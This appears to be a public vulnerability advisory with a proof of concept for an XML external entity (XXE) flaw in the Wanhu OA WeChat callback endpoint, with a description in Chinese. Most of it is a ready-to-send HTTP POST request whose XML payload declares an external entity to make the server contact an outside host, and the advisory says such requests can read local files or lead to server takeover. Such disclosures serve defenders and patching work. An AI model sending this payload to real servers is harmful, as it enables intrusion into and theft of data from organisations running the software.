万户OA /defaultroot/evo/weixin/WeiXin!callback.action XML 外部实体注入漏洞

2026-01-16 万户OA PoC Public

Description

系统微信回调接口/defaultroot/evo/weixin/WeiXin!callback.action存在XML外部实体注入（XXE）漏洞，该接口接收XML格式的请求数据但未对XML实体进行过滤和限制。攻击者可构造包含恶意外部实体的XML数据发送至该接口，触发XXE漏洞，可导致服务器发起指定的网络请求（如DNS查询），若服务器配置不当，还可能读取服务器本地文件、执行恶意代码等，造成敏感信息泄露、服务器受控等严重风险。

PoC

POST /defaultroot/evo/weixin/WeiXin!callback.action HTTP/1.1
Host: 
Content-Type: application/xml
Content-Length: 198
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept-Encoding: gzip
Connection: close

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://http://">]>
<xml>
<Encrypt>&xxe;</Encrypt>
<ToUserName>test</ToUserName>
</xml>

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://gobysec.net/updates#Wanhu OA /defaultroot/evo/weixin/WeiXin!callback.action XML External Entity Injection Vulnerability

References

Related Vulnerabilities